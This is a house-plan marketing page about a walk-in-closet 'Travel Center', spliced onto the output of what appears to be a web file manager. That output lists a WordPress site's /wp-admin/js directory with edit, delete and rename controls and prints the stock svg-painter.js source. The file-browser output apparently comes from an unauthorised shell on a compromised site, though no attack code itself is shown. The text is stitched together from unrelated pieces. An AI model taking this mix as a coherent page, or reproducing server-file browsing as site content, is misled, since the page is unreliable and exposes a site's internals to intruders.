Always on the go? Then you’re sure to appreciate our Travel Center option, designed to keep everything handy and make packing a snap!
You know where your suitcase has been…so you’re probably not going to want to pack it on the clean bedspread! Our travel center was inspired by customers who wanted storage plus convenience when it came to preparing to leave town.
Zirkel Gables – #35092FB
“I know where that suitcase has been, and it’s not getting packed on my clean bedspread!”
“I live for spontaneous travel. I need a place to keep overnight essentials.”
“Finding a place to store the suitcase is a pain.”
The Travel Center addresses all of these issues and more. Situated in the owner’s suite walk-in closet, packing the suitcase couldn’t be easier as everything you need is conveniently within reach. You don’t have to run up or down stairs to fetch the suitcase, and it’s stored where it doesn’t need to be constantly moved out of the way.
View more plans with a Travel Center already designed; or, talk with a plan specialist about adding one to a different plan: 800.947.7526
For more resources on thoughtful design:
Current Dir: / var /www /designbasics /wp-admin /js /
[FILE] accordion.js [ edit | delete | rename ]
[FILE] accordion.min.js [ edit | delete | rename ]
[FILE] application-passwords.js [ edit | delete | rename ]
[FILE] application-passwords.min.js [ edit | delete | rename ]
[FILE] auth-app.js [ edit | delete | rename ]
[FILE] auth-app.min.js [ edit | delete | rename ]
[FILE] code-editor.js [ edit | delete | rename ]
[FILE] code-editor.min.js [ edit | delete | rename ]
[FILE] color-picker.js [ edit | delete | rename ]
[FILE] color-picker.min.js [ edit | delete | rename ]
[FILE] comment.js [ edit | delete | rename ]
[FILE] comment.min.js [ edit | delete | rename ]
[FILE] common.js [ edit | delete | rename ]
[FILE] common.min.js [ edit | delete | rename ]
[FILE] custom-background.js [ edit | delete | rename ]
[FILE] custom-background.min.js [ edit | delete | rename ]
[FILE] custom-header.js [ edit | delete | rename ]
[FILE] customize-controls.js [ edit | delete | rename ]
[FILE] customize-controls.min.js [ edit | delete | rename ]
[FILE] customize-nav-menus.js [ edit | delete | rename ]
[FILE] customize-nav-menus.min.js [ edit | delete | rename ]
[FILE] customize-widgets.js [ edit | delete | rename ]
[FILE] customize-widgets.min.js [ edit | delete | rename ]
[FILE] dashboard.js [ edit | delete | rename ]
[FILE] dashboard.min.js [ edit | delete | rename ]
[FILE] edit-comments.js [ edit | delete | rename ]
[FILE] edit-comments.min.js [ edit | delete | rename ]
[FILE] editor-expand.js [ edit | delete | rename ]
[FILE] editor-expand.min.js [ edit | delete | rename ]
[FILE] editor.js [ edit | delete | rename ]
[FILE] editor.min.js [ edit | delete | rename ]
[FILE] farbtastic.js [ edit | delete | rename ]
[FILE] gallery.js [ edit | delete | rename ]
[FILE] gallery.min.js [ edit | delete | rename ]
[FILE] image-edit.js [ edit | delete | rename ]
[FILE] image-edit.min.js [ edit | delete | rename ]
[FILE] inline-edit-post.js [ edit | delete | rename ]
[FILE] inline-edit-post.min.js [ edit | delete | rename ]
[FILE] inline-edit-tax.js [ edit | delete | rename ]
[FILE] inline-edit-tax.min.js [ edit | delete | rename ]
[FILE] iris.min.js [ edit | delete | rename ]
[FILE] language-chooser.js [ edit | delete | rename ]
[FILE] language-chooser.min.js [ edit | delete | rename ]
[FILE] link.js [ edit | delete | rename ]
[FILE] link.min.js [ edit | delete | rename ]
[FILE] media-gallery.js [ edit | delete | rename ]
[FILE] media-gallery.min.js [ edit | delete | rename ]
[FILE] media-upload.js [ edit | delete | rename ]
[FILE] media-upload.min.js [ edit | delete | rename ]
[FILE] media.js [ edit | delete | rename ]
[FILE] media.min.js [ edit | delete | rename ]
[FILE] nav-menu.js [ edit | delete | rename ]
[FILE] nav-menu.min.js [ edit | delete | rename ]
[FILE] password-strength-meter.js [ edit | delete | rename ]
[FILE] password-strength-meter.min.js [ edit | delete | rename ]
[FILE] password-toggle.js [ edit | delete | rename ]
[FILE] password-toggle.min.js [ edit | delete | rename ]
[FILE] plugin-install.js [ edit | delete | rename ]
[FILE] plugin-install.min.js [ edit | delete | rename ]
[FILE] post.js [ edit | delete | rename ]
[FILE] post.min.js [ edit | delete | rename ]
[FILE] postbox.js [ edit | delete | rename ]
[FILE] postbox.min.js [ edit | delete | rename ]
[FILE] privacy-tools.js [ edit | delete | rename ]
[FILE] privacy-tools.min.js [ edit | delete | rename ]
[FILE] revisions.js [ edit | delete | rename ]
[FILE] revisions.min.js [ edit | delete | rename ]
[FILE] set-post-thumbnail.js [ edit | delete | rename ]
[FILE] set-post-thumbnail.min.js [ edit | delete | rename ]
[FILE] site-health.js [ edit | delete | rename ]
[FILE] site-health.min.js [ edit | delete | rename ]
[FILE] site-icon.js [ edit | delete | rename ]
[FILE] site-icon.min.js [ edit | delete | rename ]
[FILE] svg-painter.js [ edit | delete | rename ]
[FILE] svg-painter.min.js [ edit | delete | rename ]
[FILE] tags-box.js [ edit | delete | rename ]
[FILE] tags-box.min.js [ edit | delete | rename ]
[FILE] tags-suggest.js [ edit | delete | rename ]
[FILE] tags-suggest.min.js [ edit | delete | rename ]
[FILE] tags.js [ edit | delete | rename ]
[FILE] tags.min.js [ edit | delete | rename ]
[FILE] theme-plugin-editor.js [ edit | delete | rename ]
[FILE] theme-plugin-editor.min.js [ edit | delete | rename ]
[FILE] theme.js [ edit | delete | rename ]
[FILE] theme.min.js [ edit | delete | rename ]
[FILE] updates.js [ edit | delete | rename ]
[FILE] updates.min.js [ edit | delete | rename ]
[FILE] user-profile.js [ edit | delete | rename ]
[FILE] user-profile.min.js [ edit | delete | rename ]
[FILE] user-suggest.js [ edit | delete | rename ]
[FILE] user-suggest.min.js [ edit | delete | rename ]
[DIR] widgets [ delete | rename ]
[FILE] widgets.js [ edit | delete | rename ]
[FILE] widgets.min.js [ edit | delete | rename ]
[FILE] word-count.js [ edit | delete | rename ]
[FILE] word-count.min.js [ edit | delete | rename ]
[FILE] xfn.js [ edit | delete | rename ]
[FILE] xfn.min.js [ edit | delete | rename ]
Viewing: /var/www/designbasics/wp-admin/js/svg-painter.js
/**
* Attempt to re-color SVG icons used in the admin menu or the toolbar
*
* @output wp-admin/js/svg-painter.js
*/
window.wp = window.wp || {};
wp.svgPainter = ( function( $, window, document, undefined ) {
'use strict';
var selector, base64, painter,
colorscheme = {},
elements = [];
$( function() {
// Detection for browser SVG capability.
if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
wp.svgPainter.init();
}
});
/**
* Needed only for IE9
*
* Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
*
* Based on: https://gist.github.com/Yaffle/1284012
*
* Copyright (c) 2012 Yannick Albert (http://yckart.com)
* Licensed under the MIT license
* http://www.opensource.org/licenses/mit-license.php
*/
base64 = ( function() {
var c,
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
a256 = '',
r64 = [256],
r256 = [256],
i = 0;
function init() {
while( i < 256 ) {
c = String.fromCharCode(i);
a256 += c;
r256[i] = i;
r64[i] = b64.indexOf(c);
++i;
}
}
function code( s, discard, alpha, beta, w1, w2 ) {
var tmp, length,
buffer = 0,
i = 0,
result = '',
bitsInBuffer = 0;
s = String(s);
length = s.length;
while( i < length ) {
c = s.charCodeAt(i);
c = c < 256 ? alpha[c] : -1;
buffer = ( buffer << w1 ) + c;
bitsInBuffer += w1;
while( bitsInBuffer >= w2 ) {
bitsInBuffer -= w2;
tmp = buffer >> bitsInBuffer;
result += beta.charAt(tmp);
buffer ^= tmp << bitsInBuffer;
}
++i;
}
if ( ! discard && bitsInBuffer > 0 ) {
result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
}
return result;
}
function btoa( plain ) {
if ( ! c ) {
init();
}
plain = code( plain, false, r256, b64, 8, 6 );
return plain + '===='.slice( ( plain.length % 4 ) || 4 );
}
function atob( coded ) {
var i;
if ( ! c ) {
init();
}
coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
coded = String(coded).split('=');
i = coded.length;
do {
--i;
coded[i] = code( coded[i], true, r64, a256, 6, 8 );
} while ( i > 0 );
coded = coded.join('');
return coded;
}
return {
atob: atob,
btoa: btoa
};
})();
return {
init: function() {
painter = this;
selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );
this.setColors();
this.findElements();
this.paint();
},
setColors: function( colors ) {
if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
colors = window._wpColorScheme;
}
if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
colorscheme = colors.icons;
}
},
findElements: function() {
selector.each( function() {
var $this = $(this), bgImage = $this.css( 'background-image' );
if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
elements.push( $this );
}
});
},
paint: function() {
// Loop through all elements.
$.each( elements, function( index, $element ) {
var $menuitem = $element.parent().parent();
if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
// Paint icon in 'current' color.
painter.paintElement( $element, 'current' );
} else {
// Paint icon in base color.
painter.paintElement( $element, 'base' );
// Set hover callbacks.
$menuitem.on( 'mouseenter', function() {
painter.paintElement( $element, 'focus' );
} ).on( 'mouseleave', function() {
// Match the delay from hoverIntent.
window.setTimeout( function() {
painter.paintElement( $element, 'base' );
}, 100 );
} );
}
});
},
paintElement: function( $element, colorType ) {
var xml, encoded, color;
if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
return;
}
color = colorscheme[ colorType ];
// Only accept hex colors: #101 or #101010.
if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
return;
}
xml = $element.data( 'wp-ui-svg-' + color );
if ( xml === 'none' ) {
return;
}
if ( ! xml ) {
encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );
if ( ! encoded || ! encoded[1] ) {
$element.data( 'wp-ui-svg-' + color, 'none' );
return;
}
try {
if ( 'atob' in window ) {
xml = window.atob( encoded[1] );
} else {
xml = base64.atob( encoded[1] );
}
} catch ( error ) {}
if ( xml ) {
// Replace `fill` attributes.
xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');
// Replace `style` attributes.
xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');
// Replace `fill` properties in `<style>` tags.
xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');
if ( 'btoa' in window ) {
xml = window.btoa( xml );
} else {
xml = base64.btoa( xml );
}
$element.data( 'wp-ui-svg-' + color, xml );
} else {
$element.data( 'wp-ui-svg-' + color, 'none' );
return;
}
}
$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
}
};
})( jQuery, window, document );